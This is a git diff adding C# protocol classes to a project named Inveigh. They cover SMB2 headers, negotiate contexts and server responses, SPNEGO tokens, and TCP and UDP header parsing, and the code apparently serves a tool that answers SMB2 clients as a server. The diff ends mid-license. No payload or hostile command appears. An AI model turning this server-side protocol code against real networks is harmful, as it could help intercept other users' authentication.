+ public uint Flags { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs
new file mode 100644
index 0000000..4266118
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs
@@ -0,0 +1,49 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2WriteResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/7b80a339-f4d3-4575-8ce2-70a06f24f133
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ public uint Count { get; set; }
+ public uint Remaining { get; set; }
+ public ushort WriteChannelInfoOffset { get; set; }
+ public ushort WriteChannelInfoLength { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Header.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Header.cs
new file mode 100644
index 0000000..65f595e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Header.cs
@@ -0,0 +1,133 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.SMB2
+{
+ class SMB2Header
+ {
+ /*
+ https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/fb188936-5050-48d3-b350-dc43059638a4
+ */
+ public byte[] Protocol { get; set; }
+ public ushort StructureSize { get; set; }
+ public ushort CreditCharge { get; set; }
+ public byte[] Status { get; set; } // SMB2.x requests and all responses
+ public ushort ChannelSequence { get; set; } // SMB3.x requests
+ public ushort Reserved { get; set; } // SMB3.x requests
+ public ushort Command { get; set; }
+ public ushort Credit { get; set; } // CreditRequest/CreditResponse
+ public byte[] Flags { get; set; }
+ public byte[] NextCommand { get; set; }
+ public ulong MessageId { get; set; }
+ public uint Reserved2 { get; set; } // Process ID?
+ public uint TreeId { get; set; }
+ public byte[] SessionId { get; set; }
+ public byte[] Signature { get; set; }
+
+ public SMB2Header()
+ {
+ this.Protocol = new byte[4] { 0xfe, 0x53, 0x4d, 0x42 };
+ this.StructureSize = 64;
+ this.CreditCharge = 0;
+ this.Status = new byte[4];
+ this.Command = 0;
+ this.Credit = 1;
+ this.Flags = new byte[4] { 0x01, 0x00, 0x00, 0x00 };
+ this.NextCommand = new byte[4];
+ this.MessageId = 0;
+ this.Reserved2 = 0;
+ this.TreeId = 0;
+ this.SessionId = new byte[8];
+ this.Signature = new byte[16];
+ }
+
+ public SMB2Header(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public SMB2Header(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Protocol = packetReader.ReadBytes(4);
+ this.StructureSize = packetReader.ReadUInt16();
+ this.CreditCharge = packetReader.ReadUInt16();
+ this.Status = packetReader.ReadBytes(4);
+ this.Command = packetReader.ReadUInt16();
+ this.Credit = packetReader.ReadUInt16();
+ this.Flags = packetReader.ReadBytes(4);
+ this.NextCommand = packetReader.ReadBytes(4);
+ this.MessageId = packetReader.ReadUInt64();
+ this.Reserved2 = packetReader.ReadUInt32();
+ this.TreeId = packetReader.ReadUInt32();
+ this.SessionId = packetReader.ReadBytes(8);
+ this.Signature = packetReader.ReadBytes(16);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Protocol);
+ packetWriter.Write(this.StructureSize);
+ packetWriter.Write(this.CreditCharge);
+ packetWriter.Write(this.Status);
+ packetWriter.Write(this.Command);
+ packetWriter.Write(this.Credit);
+ packetWriter.Write(this.Flags);
+ packetWriter.Write(this.NextCommand);
+ packetWriter.Write(this.MessageId);
+ packetWriter.Write(this.Reserved2);
+ packetWriter.Write(this.TreeId);
+ packetWriter.Write(this.SessionId);
+ packetWriter.Write(this.Signature);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Helper.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Helper.cs
new file mode 100644
index 0000000..8ef9628
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Helper.cs
@@ -0,0 +1,124 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Net.Sockets;
+using Quiddity.NetBIOS;
+using Quiddity.Support;
+
+namespace Quiddity.SMB2
+{
+ class SMB2Helper
+ {
+ public NetBIOSSessionService NetBIOS = new NetBIOSSessionService();
+ public SMB2Header Header = new SMB2Header();
+ public object Payload = new object();
+
+ public void Write(SMB2Helper Packet, NetworkStream Stream)
+ {
+ byte[] headerData = Packet.Header.GetBytes();
+ byte[] commandData = new byte[0];
+
+ switch (Packet.Header.Command)
+ {
+
+ case 0:
+ {
+ SMB2NegotiateResponse command = (SMB2NegotiateResponse)Packet.Payload;
+ commandData = command.GetBytes();
+ }
+ break;
+
+ case 1:
+ {
+ SMB2SessionSetupResponse command = (SMB2SessionSetupResponse)Packet.Payload;
+ commandData = command.GetBytes();
+ }
+ break;
+
+ }
+
+ Packet.NetBIOS.Length = (ushort)(commandData.Length + 64);
+ byte[] netbiosData = Packet.NetBIOS.GetBytes();
+ byte[] buffer = Utilities.BlockCopy(netbiosData, headerData, commandData);
+ Stream.Write(buffer, 0, buffer.Length);
+ Stream.Flush();
+ }
+
+ public static byte[] GetBytes(object smb2Command)
+ {
+ NetBIOSSessionService netBIOSSessionService = new NetBIOSSessionService();
+ SMB2Header smb2Header = new SMB2Header();
+ return GetBytes(netBIOSSessionService, smb2Header, smb2Command);
+ }
+
+ public static byte[] GetBytes(NetBIOSSessionService netBIOSSessionService, SMB2Header smb2Header, object smb2Command)
+ {
+ byte[] headerData = smb2Header.GetBytes();
+ byte[] commandData = new byte[0];
+
+ switch (smb2Header.Command)
+ {
+
+ case 0:
+ {
+ SMB2NegotiateResponse command = (SMB2NegotiateResponse)smb2Command;
+ commandData = command.GetBytes();
+ }
+ break;
+
+ case 1:
+ {
+ SMB2SessionSetupResponse command = (SMB2SessionSetupResponse)smb2Command;
+ commandData = command.GetBytes();
+ }
+ break;
+
+ }
+
+ netBIOSSessionService.Length = (ushort)(commandData.Length + 64);
+ byte[] netbiosData = netBIOSSessionService.GetBytes();
+ return Utilities.BlockCopy(netbiosData, headerData, commandData);
+ }
+
+ public void NegotiateProtocol()
+ {
+
+ }
+
+ public void SessionSetup()
+ {
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Packet.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Packet.cs
new file mode 100644
index 0000000..945d2f8
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Packet.cs
@@ -0,0 +1,42 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2Packet
+ {
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs
new file mode 100644
index 0000000..1b94aa6
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs
@@ -0,0 +1,108 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Linq;
+using System.IO;
+
+namespace Quiddity.SMB2
+{
+ class SMB2NegotiateContext
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
+ public ushort ContextType { get; set; }
+ public ushort DataLength { get; set; }
+ public uint Reserved { get; set; }
+ public byte[] Data { get; set; }
+
+ public SMB2NegotiateContext()
+ {
+ this.ContextType = 0;
+ this.DataLength = 0;
+ this.Reserved = 0;
+ this.Data = new byte[0];
+ }
+
+ public byte[] GetBytes(string[] contextTypes)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+
+ if (contextTypes.Contains("1"))
+ {
+ this.ContextType = 1;
+ this.DataLength = 38;
+ byte[] key = new byte[32];
+ Random random = new Random();
+ random.NextBytes(key);
+ this.Data = new byte[38];
+ Buffer.BlockCopy(new byte[6] { 0x01, 0x00, 0x20, 0x00, 0x01, 0x00 }, 0, this.Data, 0, 6);
+ Buffer.BlockCopy(key, 0, this.Data, 6, key.Length);
+ packetWriter.Write(this.ContextType);
+ packetWriter.Write(this.DataLength);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.Data);
+ packetWriter.Write(new byte[2] { 0x000, 0x00 });
+ }
+
+ if (contextTypes.Contains("2"))
+ {
+ this.ContextType = 2;
+ this.DataLength = 4;
+ this.Data = new byte[4] { 0x01, 0x00, 0x2, 0x00 };
+ packetWriter.Write(this.ContextType);
+ packetWriter.Write(this.DataLength);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.Data);
+ packetWriter.Write(new byte[4] { 0x000, 0x00, 0x00, 0x00 });
+ }
+
+ if (contextTypes.Contains("3"))
+ {
+ this.ContextType = 3;
+ this.DataLength = 12;
+ this.Data = new byte[12] { 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00 };
+ packetWriter.Write(this.ContextType);
+ packetWriter.Write(this.DataLength);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.Data);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs b/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs
new file mode 100644
index 0000000..8e57949
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs
@@ -0,0 +1,64 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+
+namespace Quiddity.SPNEGO
+{
+ class SPNEGONegTokenInit
+ {
+ /*
+ https://tools.ietf.org/html/rfc4178#appendix-A
+ */
+ public byte[] MechTypes { get; set; }
+ public byte[] ReqFlags { get; set; }
+ public byte[] MechToken { get; set; }
+ public byte[] MechListMIC { get; set; }
+ public byte[] NegHints { get; set; }
+
+ public SPNEGONegTokenInit()
+ {
+ this.MechTypes = new byte[0];
+ this.ReqFlags = new byte[10];
+ this.MechToken = new byte[0];
+ this.MechListMIC = new byte[0];
+ this.NegHints = new byte[0];
+ }
+
+ public void Decode(byte[] data)
+ {
+ this.MechTypes = ASN1.GetTagBytes(6, data);
+ this.MechToken = ASN1.GetTagBytes(4, data);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs b/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs
new file mode 100644
index 0000000..869af63
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenResp.cs
@@ -0,0 +1,55 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.SPNEGO
+{
+ class SPNEGONegTokenResp
+ {
+ /*
+ https://tools.ietf.org/html/rfc4178#appendix-A
+ */
+ public byte NegState { get; set; }
+ public byte[] SupportedMech { get; set; }
+ public byte[] ResponseToken { get; set; }
+ public byte[] MechListMIC { get; set; }
+
+ public SPNEGONegTokenResp()
+ {
+ this.NegState = 0;
+ this.SupportedMech = new byte[10];
+ this.ResponseToken = new byte[0];
+ this.MechListMIC = new byte[0];
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/TCP/TCPHeader.cs b/Inveigh/Protocols/Quiddity/Protocols/TCP/TCPHeader.cs
new file mode 100644
index 0000000..28c3ba9
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/TCP/TCPHeader.cs
@@ -0,0 +1,124 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.TCP
+{
+ class TCPHeader
+ {
+ // https://datatracker.ietf.org/doc/html/rfc793#section-3.1
+ public ushort SourcePort { get; set; }
+ public ushort DestinationPort { get; set; }
+ public uint SequenceNumber { get; set; }
+ public uint AcknowledgementNumber { get; set; }
+ public int DataOffset { get; set; }
+ public int Reserved { get; set; }
+ public bool URG { get; set; }
+ public bool ACK { get; set; }
+ public bool PSH { get; set; }
+ public bool RST { get; set; }
+ public bool SYN { get; set; }
+ public bool FIN { get; set; }
+ public ushort Window { get; set; }
+ public ushort Checksum { get; set; }
+ public ushort UrgentPointer { get; set; }
+ public byte[] Options { get; set; }
+ public byte[] Padding { get; set; }
+
+ // custom
+ public string Flags { get; set; }
+
+ public void ReadBytes(byte[] data, int position)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = position;
+ this.SourcePort = packetReader.BigEndianReadUInt16();
+ this.DestinationPort = packetReader.BigEndianReadUInt16();
+ this.SequenceNumber = packetReader.BigEndianReadUInt32();
+ this.AcknowledgementNumber = packetReader.BigEndianReadUInt32();
+ this.Flags = packetReader.ReadBinary(2);
+ ReadFlags();
+ this.Window = packetReader.BigEndianReadUInt16();
+ this.Checksum = packetReader.BigEndianReadUInt16();
+ this.UrgentPointer = packetReader.BigEndianReadUInt16();
+ this.Options = packetReader.BigEndianReadBytes(3);
+ this.Padding = packetReader.BigEndianReadBytes(3);
+ }
+
+ }
+
+ protected virtual void ReadFlags()
+ {
+ this.DataOffset = Convert.ToInt32(this.Flags.Substring(0, 4), 2) * 4;
+ this.Reserved = Convert.ToInt32(this.Flags.Substring(4, 3), 2);
+
+ if (string.Equals(this.Flags.Substring(10, 1), "1"))
+ {
+ this.URG = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(11, 1), "1"))
+ {
+ this.ACK = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(12, 1), "1"))
+ {
+ this.PSH = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(13, 1), "1"))
+ {
+ this.RST = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(14, 1), "1"))
+ {
+ this.SYN = true;
+ }
+
+ if (string.Equals(this.Flags.Substring(15, 1), "1"))
+ {
+ this.FIN = true;
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/UDP/UDPHeader.cs b/Inveigh/Protocols/Quiddity/Protocols/UDP/UDPHeader.cs
new file mode 100644
index 0000000..f6e8671
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/UDP/UDPHeader.cs
@@ -0,0 +1,130 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
